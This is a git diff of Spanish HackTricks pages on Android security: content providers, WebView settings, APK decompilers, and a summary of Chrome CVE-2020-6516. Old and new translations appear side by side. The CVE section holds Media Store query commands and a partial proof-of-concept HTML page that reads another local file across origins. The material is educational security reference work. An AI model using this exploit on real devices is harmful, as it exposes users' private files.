Para comprender la funcionalidad de un receptor, busque el método **`onReceive`** dentro de su clase. El código de este método puede manipular la Intención recibida, resaltando la necesidad de validación de datos por parte de los receptores, especialmente en **Difusiones Ordenadas**, que pueden modificar o eliminar la Intención.
Para entender la funcionalidad de un receptor, busque el método **`onReceive`** dentro de su clase. El código de este método puede manipular la Intent recibida, destacando la necesidad de validación de datos por parte de los receptores, especialmente en **Broadcasts Ordenados**, que pueden modificar o eliminar la Intent.
### Proveedor de contenido
### Content Provider
Los **proveedores de contenido** son esenciales para **compartir datos estructurados** entre aplicaciones, enfatizando la importancia de implementar **permisos** para garantizar la seguridad de los datos. Permiten que las aplicaciones accedan a datos de diversas fuentes, incluidas bases de datos, sistemas de archivos o la web. Permisos específicos, como **`readPermission`** y **`writePermission`**, son cruciales para controlar el acceso. Además, se puede otorgar acceso temporal a través de la configuración **`grantUriPermission`** en el manifiesto de la aplicación, aprovechando atributos como `path`, `pathPrefix` y `pathPattern` para un control de acceso detallado.
**Content Providers** son esenciales para **compartir datos estructurados** entre aplicaciones, enfatizando la importancia de implementar **permisos** para garantizar la seguridad de los datos. Permiten que las aplicaciones accedan a datos de diversas fuentes, incluidos bases de datos, sistemas de archivos o la web. Permisos específicos, como **`readPermission`** y **`writePermission`**, son cruciales para controlar el acceso. Además, se puede otorgar acceso temporal a través de configuraciones de **`grantUriPermission`** en el manifest de la aplicación, aprovechando atributos como `path`, `pathPrefix` y `pathPattern` para un control de acceso detallado.
La validación de entrada es fundamental para evitar vulnerabilidades, como la inyección SQL. Los proveedores de contenido admiten operaciones básicas: `insert()`, `update()`, `delete()` y `query()`, facilitando la manipulación y el intercambio de datos entre aplicaciones.
La validación de entrada es primordial para prevenir vulnerabilidades, como la inyección SQL. Los Content Providers admiten operaciones básicas: `insert()`, `update()`, `delete()`, y `query()`, facilitando la manipulación y el intercambio de datos entre aplicaciones.
**FileProvider**, un Proveedor de Contenido especializado, se centra en compartir archivos de forma segura. Se define en el manifiesto de la aplicación con atributos específicos para controlar el acceso a carpetas, indicados por `android:exported` y `android:resource` que apuntan a configuraciones de carpetas. Se recomienda precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente.
**FileProvider**, un Content Provider especializado, se centra en compartir archivos de manera segura. Se define en el manifest de la aplicación con atributos específicos para controlar el acceso a carpetas, denotadas por `android:exported` y `android:resource` que apuntan a configuraciones de carpetas. Se aconseja precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente.
Ejemplo de declaración en el manifiesto para FileProvider:
Ejemplo de declaración de manifest para FileProvider:
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -330,32 +331,32 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
Y un ejemplo de cómo especificar carpetas compartidas en `filepaths.xml`:
Y un ejemplo de especificar carpetas compartidas en `filepaths.xml`:
```xml
<paths>
<files-path path="images/" name="myimages" />
</paths>
```
Para obtener más información, consulta:
- [Desarrolladores de Android: Proveedores de contenido](https://developer.android.com/guide/topics/providers/content-providers)
- [Desarrolladores de Android: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
Para más información, consulta:
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
## WebViews
Los WebViews son como **mini navegadores web** dentro de las aplicaciones de Android, que muestran contenido ya sea desde la web o desde archivos locales. Enfrentan riesgos similares a los navegadores regulares, pero existen formas de **reducir estos riesgos** a través de **configuraciones específicas**.
WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los navegadores regulares, sin embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas.
Android ofrece dos tipos principales de WebViews:
Android ofrece dos tipos principales de WebView:
- **WebViewClient** es ideal para HTML básico pero no admite la función de alerta JavaScript, lo que afecta la forma en que se pueden probar los ataques XSS.
- **WebViewClient** es excelente para HTML básico pero no soporta la función de alerta de JavaScript, afectando cómo se pueden probar los ataques XSS.
- **WebChromeClient** actúa más como la experiencia completa del navegador Chrome.
Un punto clave es que los navegadores WebView **no comparten cookies** con el navegador principal del dispositivo.
Para cargar contenido, se pueden utilizar métodos como ````loadUrl````, ````loadData````, y ````loadDataWithBaseURL````. Es crucial asegurarse de que estas URL o archivos sean **seguros de usar**. La configuración de seguridad se puede gestionar a través de la clase ````WebSettings````. Por ejemplo, deshabilitar JavaScript con ````setJavaScriptEnabled(false)```` puede prevenir ataques XSS.
Para cargar contenido, están disponibles métodos como ````loadUrl````, ````loadData````, y ````loadDataWithBaseURL````. Es crucial asegurarse de que estas URLs o archivos sean **seguros para usar**. Las configuraciones de seguridad se pueden gestionar a través de la clase ````WebSettings````. Por ejemplo, deshabilitar JavaScript con ````setJavaScriptEnabled(false)```` puede prevenir ataques XSS.
El "Bridge" de JavaScript permite que los objetos Java interactúen con JavaScript, lo que requiere que los métodos estén marcados con ````@JavascriptInterface```` para seguridad a partir de Android 4.2.
El "Puente" de JavaScript permite que los objetos Java interactúen con JavaScript, requiriendo que los métodos sean marcados con ````@JavascriptInterface```` para seguridad desde Android 4.2 en adelante.
Permitir el acceso al contenido (````setAllowContentAccess(true)````) permite que los WebViews accedan a los Proveedores de contenido, lo cual podría ser un riesgo a menos que las URL de contenido se verifiquen como seguras.
Permitir el acceso al contenido (````setAllowContentAccess(true)````) permite que los WebViews accedan a Content Providers, lo que podría ser un riesgo a menos que las URLs de contenido sean verificadas como seguras.
Para controlar el acceso a archivos:
- Deshabilitar el acceso a archivos (````setAllowFileAccess(false)````) limita el acceso al sistema de archivos, con excepciones para ciertos activos, asegurando que solo se utilicen para contenido no sensible.
@ -364,15 +365,15 @@ Para controlar el acceso a archivos:
### **Firma Digital de Aplicaciones**
- La **firma digital** es imprescindible para las aplicaciones de Android, asegurando que estén **autenticadas correctamente** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al instalarla. Las aplicaciones pueden ser **auto-firmadas o certificadas por una CA externa**, protegiéndose contra accesos no autorizados y asegurando que la aplicación permanezca intacta durante su entrega al dispositivo.
- **La firma digital** es imprescindible para las aplicaciones Android, asegurando que sean **auténticamente creadas** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al momento de la instalación. Las aplicaciones pueden ser **autofirmadas o certificadas por una CA externa**, protegiendo contra accesos no autorizados y asegurando que la aplicación permanezca sin alteraciones durante su entrega al dispositivo.
### **Verificación de Aplicaciones para una Seguridad Reforzada**
### **Verificación de Aplicaciones para Mayor Seguridad**
- A partir de **Android 4.2**, una función llamada **Verificar aplicaciones** permite a los usuarios verificar la seguridad de las aplicaciones antes de la instalación. Este **proceso de verificación** puede advertir a los usuarios sobre aplicaciones potencialmente dañinas, o incluso prevenir la instalación de aquellas particularmente maliciosas, mejorando la seguridad del usuario.
- A partir de **Android 4.2**, una función llamada **Verificar Aplicaciones** permite a los usuarios verificar la seguridad de las aplicaciones antes de la instalación. Este **proceso de verificación** puede advertir a los usuarios sobre aplicaciones potencialmente dañinas, o incluso prevenir la instalación de aquellas particularmente maliciosas, mejorando la seguridad del usuario.
### **Gestión de Dispositivos Móviles (MDM)**
- Las **soluciones de MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Requieren la instalación de una aplicación de Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **imponer políticas de contraseñas**, **exigir cifrado de almacenamiento**, y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles.
- **Las soluciones MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Necesitan la instalación de una aplicación Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **hacer cumplir políticas de contraseñas**, **exigir cifrado de almacenamiento**, y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -383,22 +384,23 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
**Grupo de Seguridad Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,71 +1,89 @@
# Decompiladores de APK
# APK decompilers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
**Para más detalles sobre cada herramienta, consulta la publicación original en [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
Como el pionero de los decompiladores GUI de Java, **JD-Gui** te permite investigar el código Java dentro de archivos APK. Es fácil de usar; después de obtener el APK, simplemente ábrelo con JD-Gui para inspeccionar el código.
Como el decompilador GUI Java pionero, **JD-Gui** te permite investigar código Java dentro de archivos APK. Es fácil de usar; después de obtener el APK, simplemente ábrelo con JD-Gui para inspeccionar el código.
### [Jadx](https://github.com/skylot/jadx)
**Jadx** ofrece una interfaz fácil de usar para decompilar código Java de aplicaciones Android. Se recomienda por su facilidad de uso en diferentes plataformas.
- Para iniciar la GUI, navega hasta el directorio bin y ejecuta: `jadx-gui`
- Para iniciar la GUI, navega al directorio bin y ejecuta: `jadx-gui`
- Para uso en línea de comandos, decompila un APK con: `jadx app.apk`
- Para especificar un directorio de salida o ajustar opciones de decompilación: `jadx app.apk -d <ruta al directorio de salida> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
**GDA**, una herramienta exclusiva para Windows, ofrece amplias funciones para ingeniería inversa de aplicaciones Android. Instala y ejecuta GDA en tu sistema Windows, luego carga el archivo APK para el análisis.
**GDA**, una herramienta solo para Windows, ofrece amplias características para la ingeniería inversa de aplicaciones Android. Instala y ejecuta GDA en tu sistema Windows, luego carga el archivo APK para su análisis.
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
Con **Bytecode-Viewer**, puedes analizar archivos APK utilizando múltiples decompiladores. Después de descargarlo, ejecuta Bytecode-Viewer, carga tu APK y selecciona los decompiladores que deseas usar para el análisis simultáneo.
Con **Bytecode-Viewer**, puedes analizar archivos APK utilizando múltiples decompiladores. Después de descargar, ejecuta Bytecode-Viewer, carga tu APK y selecciona los decompiladores que deseas usar para un análisis simultáneo.
### [Enjarify](https://github.com/Storyyeller/enjarify)
**Enjarify** traduce el bytecode de Dalvik al bytecode de Java, lo que permite a las herramientas de análisis Java analizar aplicaciones Android de manera más efectiva.
**Enjarify** traduce bytecode Dalvik a bytecode Java, permitiendo que las herramientas de análisis de Java analicen aplicaciones Android de manera más efectiva.
- Para usar Enjarify, ejecuta: `enjarify app.apk`
Esto genera el equivalente en bytecode de Java del APK proporcionado.
Esto genera el bytecode Java equivalente del APK proporcionado.
### [CFR](https://github.com/leibnitz27/cfr)
**CFR** es capaz de decompilar características modernas de Java. Úsalo de la siguiente manera:
- Para decompilación estándar: `java -jar ./cfr.jar "app.jar" --outputdir "directorio_de_salida"`
- Para archivos JAR grandes, ajusta la asignación de memoria JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "directorio_de_salida"`
- Para decompilación estándar: `java -jar ./cfr.jar "app.jar" --outputdir "directorio_salida"`
- Para archivos JAR grandes, ajusta la asignación de memoria de la JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "directorio_salida"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**, un decompilador analítico, requiere ser compilado desde el origen. Después de compilar:
**Fernflower**, un decompilador analítico, requiere ser construido desde el código fuente. Después de construir:
- Decompila un archivo JAR: `java -jar ./fernflower.jar "app.jar" "directorio_de_salida"`
- Decompila un archivo JAR: `java -jar ./fernflower.jar "app.jar" "directorio_salida"`
Luego, extrae los archivos `.java` del JAR generado usando `unzip`.
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau** ofrece un control detallado sobre la decompilación, especialmente para manejar bibliotecas externas.
- Usa Krakatau especificando la ruta de la biblioteca estándar y el archivo JAR a decompilar: `./Krakatau/decompile.py -out "directorio_de_salida" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
- Usa Krakatau especificando la ruta de la biblioteca estándar y el archivo JAR a decompilar: `./Krakatau/decompile.py -out "directorio_salida" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
Para una decompilación sencilla con **procyon**:
- Decompila un archivo JAR en un directorio especificado: `procyon -jar "app.jar" -o "directorio_de_salida"`
- Decompila un archivo JAR a un directorio especificado: `procyon -jar "app.jar" -o "directorio_salida"`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Este es un resumen del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
**Este es un resumen de la publicación [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Listado de Archivos en Media Store
Para listar los archivos gestionados por Media Store, se puede utilizar el siguiente comando:
### Listando Archivos en Media Store
Para listar archivos gestionados por Media Store, se puede usar el siguiente comando:
```bash
$ content query --uri content://media/external/file
```
Para obtener una salida más amigable para el usuario, mostrando solo el identificador y la ruta de cada archivo indexado:
Para una salida más amigable, mostrando solo el identificador y la ruta de cada archivo indexado:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Los proveedores de contenido están aislados en su propio espacio de nombres privado. El acceso a un proveedor requiere el URI específico `content://`. La información sobre las rutas para acceder a un proveedor se puede obtener de los manifiestos de aplicaciones o del código fuente del framework de Android.
Los proveedores de contenido están aislados en su propio espacio de nombres privado. El acceso a un proveedor requiere la URI específica `content://`. La información sobre las rutas para acceder a un proveedor se puede obtener de los manifiestos de la aplicación o del código fuente del marco de Android.
### Acceso de Chrome a los Proveedores de Contenido
### Acceso de Chrome a Proveedores de Contenido
Chrome en Android puede acceder a proveedores de contenido a través del esquema `content://`, lo que le permite acceder a recursos como fotos o documentos exportados por aplicaciones de terceros. Para ilustrar esto, se puede insertar un archivo en el Media Store y luego acceder a él a través de Chrome:
Insertar una entrada personalizada en el Media Store:
Inserte una entrada personalizada en el Media Store:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
@ -46,7 +47,7 @@ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
El archivo luego se puede ver en Chrome utilizando una URL construida con el identificador del archivo.
El archivo se puede ver en Chrome utilizando una URL construida con el identificador del archivo.
Por ejemplo, para listar archivos relacionados con una aplicación específica:
```bash
@ -54,13 +55,13 @@ content query --uri content://media/external/file --projection _id,_data | grep
```
### Chrome CVE-2020-6516: Bypass de la Política de Mismo Origen
El _Same Origin Policy_ (SOP) es un protocolo de seguridad en los navegadores que restringe a las páginas web de interactuar con recursos de diferentes orígenes a menos que sea explícitamente permitido por una política de Compartir Recursos de Origen Cruzado (CORS). Esta política tiene como objetivo prevenir filtraciones de información y falsificación de solicitudes entre sitios. Chrome considera `content://` como un esquema local, lo que implica reglas de SOP más estrictas, donde cada URL de esquema local se trata como un origen separado.
La _Política de Mismo Origen_ (SOP) es un protocolo de seguridad en los navegadores que restringe a las páginas web de interactuar con recursos de diferentes orígenes a menos que se permita explícitamente mediante una política de Compartición de Recursos de Origen Cruzado (CORS). Esta política tiene como objetivo prevenir filtraciones de información y falsificación de solicitudes entre sitios. Chrome considera `content://` como un esquema local, lo que implica reglas SOP más estrictas, donde cada URL de esquema local se trata como un origen separado.
Sin embargo, CVE-2020-6516 fue una vulnerabilidad en Chrome que permitía eludir las reglas de SOP para recursos cargados a través de una URL `content://`. En efecto, el código JavaScript de una URL `content://` podía acceder a otros recursos cargados a través de URLs `content://`, lo que representaba una preocupación de seguridad significativa, especialmente en dispositivos Android que ejecutaban versiones anteriores a Android 10, donde el almacenamiento con ámbito no estaba implementado.
Sin embargo, CVE-2020-6516 fue una vulnerabilidad en Chrome que permitió el bypass de las reglas SOP para recursos cargados a través de una URL `content://`. En efecto, el código JavaScript de una URL `content://` podía acceder a otros recursos cargados a través de URLs `content://`, lo que representaba una preocupación de seguridad significativa, especialmente en dispositivos Android que ejecutaban versiones anteriores a Android 10, donde el almacenamiento con alcance no estaba implementado.
El siguiente ejemplo de concepto demuestra esta vulnerabilidad, donde un documento HTML, después de ser cargado en **/sdcard** y añadido a la Media Store, utiliza `XMLHttpRequest` en su JavaScript para acceder y mostrar el contenido de otro archivo en la Media Store, eludiendo las reglas de SOP.
La prueba de concepto a continuación demuestra esta vulnerabilidad, donde un documento HTML, después de ser subido bajo **/sdcard** y agregado a la Media Store, utiliza `XMLHttpRequest` en su JavaScript para acceder y mostrar el contenido de otro archivo en la Media Store, eludiendo las reglas SOP.
HTML de Ejemplo de Concepto:
Prueba de Concepto HTML:
```xml
<html>
<head>
@ -93,16 +94,17 @@ xhr.send();
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Explotando una aplicación con modo de depuración
# Explotando una aplicación depurable
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
# **Saltando las verificaciones de root y modo de depuración**
# **Evitando verificaciones de root y depurables**
Esta sección del post es un resumen del post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
